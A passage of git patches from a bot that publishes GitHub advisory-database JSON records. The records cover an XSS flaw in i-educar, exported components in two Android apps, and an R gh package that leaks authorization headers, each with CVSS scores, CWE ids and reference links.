+ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8510"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/portabilis/i-educar/commit/82c288b9a4abb084bdfa1c0c4ef777ed45f98b46"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/CVE-Hunters/CVE/blob/main/i-educar/Reflected%20Cross-Site%20Scripting%20(XSS)%20in%20educar_matricula_lst.php%20via%20ref_cod_aluno%20Parameter.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/portabilis/i-educar/compare/GHSA-88xc-64vw-g4xg"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318609"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318609"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.618964"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T13:15:26Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-q2qr-vvq7-ph4v/GHSA-q2qr-vvq7-ph4v.json b/advisories/unreviewed/2025/08/GHSA-q2qr-vvq7-ph4v/GHSA-q2qr-vvq7-ph4v.json
new file mode 100644
index 0000000000000..702e406bfc6a9
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-q2qr-vvq7-ph4v/GHSA-q2qr-vvq7-ph4v.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-q2qr-vvq7-ph4v",
+ "modified": "2025-08-03T15:30:26Z",
+ "published": "2025-08-03T15:30:26Z",
+ "aliases": [
+ "CVE-2025-8513"
+ ],
+ "details": "A vulnerability, which was classified as problematic, was found in Caixin News App 8.0.1 on Android. Affected is an unknown function of the file AndroidManifest.xml of the component com.caixin.news. The manipulation leads to improper export of android application components. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8513"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/KMov-g/androidapps/blob/main/com.caixin.news.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318612"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318612"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.619029"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-926"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T15:15:38Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-wv59-72h6-vhj4/GHSA-wv59-72h6-vhj4.json b/advisories/unreviewed/2025/08/GHSA-wv59-72h6-vhj4/GHSA-wv59-72h6-vhj4.json
new file mode 100644
index 0000000000000..ae4bd0a5a0eba
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-wv59-72h6-vhj4/GHSA-wv59-72h6-vhj4.json
@@ -0,0 +1,52 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-wv59-72h6-vhj4",
+ "modified": "2025-08-03T15:30:26Z",
+ "published": "2025-08-03T15:30:26Z",
+ "aliases": [
+ "CVE-2025-8512"
+ ],
+ "details": "A vulnerability, which was classified as problematic, has been found in TVB Big Big Shop App 2.9.0 on Android. This issue affects some unknown processing of the file AndroidManifest.xml of the component hk.com.tvb.bigbigshop. The manipulation leads to improper export of android application components. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"
+ },
+ {
+ "type": "CVSS_V4",
+ "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-8512"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/KMov-g/androidapps/blob/main/hk.com.tvb.bigbigshop.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?ctiid.318611"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?id.318611"
+ },
+ {
+ "type": "WEB",
+ "url": "https://vuldb.com/?submit.619028"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-926"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T14:15:26Z"
+ }
+}
\ No newline at end of file
From 8527671072933faf8eb0c74fc71c0fb8cf48b743 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Sun, 3 Aug 2025 18:34:36 +0000
Subject: [PATCH 322/323] Publish GHSA-gfw5-r5r2-fv73
---
.../GHSA-gfw5-r5r2-fv73.json | 44 +++++++++++++++++++
1 file changed, 44 insertions(+)
create mode 100644 advisories/unreviewed/2025/08/GHSA-gfw5-r5r2-fv73/GHSA-gfw5-r5r2-fv73.json
diff --git a/advisories/unreviewed/2025/08/GHSA-gfw5-r5r2-fv73/GHSA-gfw5-r5r2-fv73.json b/advisories/unreviewed/2025/08/GHSA-gfw5-r5r2-fv73/GHSA-gfw5-r5r2-fv73.json
new file mode 100644
index 0000000000000..6a693c5b93273
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-gfw5-r5r2-fv73/GHSA-gfw5-r5r2-fv73.json
@@ -0,0 +1,44 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-gfw5-r5r2-fv73",
+ "modified": "2025-08-03T18:32:49Z",
+ "published": "2025-08-03T18:32:49Z",
+ "aliases": [
+ "CVE-2025-54956"
+ ],
+ "details": "The gh package before 1.5.0 for R delivers an HTTP response in a data structure that includes the Authorization header from the corresponding HTTP request.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54956"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/r-lib/gh/issues/222"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/r-lib/gh/commit/b575d488c71318449cc6c8c989c617db29275848"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/r-lib/gh/compare/v1.4.1...v1.5.0"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-669"
+ ],
+ "severity": "LOW",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-03T18:15:25Z"
+ }
+}
\ No newline at end of file
From 03ba5ef7451e1a718248386880aa2fee54c447a1 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Mon, 4 Aug 2025 00:32:08 +0000
Subject: [PATCH 323/323] Publish GHSA-3g6x-vq45-v2jv
---
.../07/GHSA-3g6x-vq45-v2jv/GHSA-3g6x-vq45-v2jv.json | 10 +++++++++-
1 file changed, 9 insertions(+), 1 deletion(-)
diff --git a/advisories/unreviewed/2025/07/GHSA-3g6x-vq45-v2jv/GHSA-3g6x-vq45-v2jv.json b/advisories/unreviewed/2025/07/GHSA-3g6x-vq45-v2jv/GHSA-3g6x-vq45-v2jv.json
index d7de929537f8c..73b5fca4d0e6c 100644
--- a/advisories/unreviewed/2025/07/GHSA-3g6x-vq45-v2jv/GHSA-3g6x-vq45-v2jv.json
+++ b/advisories/unreviewed/2025/07/GHSA-3g6x-vq45-v2jv/GHSA-3g6x-vq45-v2jv.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-3g6x-vq45-v2jv",
- "modified": "2025-07-29T15:31:50Z",
+ "modified": "2025-08-04T00:30:30Z",
"published": "2025-07-29T15:31:50Z",
"aliases": [
"CVE-2025-46059"
@@ -19,6 +19,10 @@
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46059"
},
+ {
+ "type": "WEB",
+ "url": "https://github.com/langchain-ai/langchain-community/issues/217#issuecomment-3144824471"
+ },
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langchain/issues/30833"
@@ -26,6 +30,10 @@
{
"type": "WEB",
"url": "https://github.com/Jr61-star/CVEs/blob/main/CVE-2025-46059.md"
+ },
+ {
+ "type": "WEB",
+ "url": "https://python.langchain.com/docs/security"
}
],
"database_specific": {
pFad - Phonifier reborn
Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.
Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.
Alternative Proxies:
Alternative Proxy
pFad Proxy
pFad v3 Proxy
pFad v4 Proxy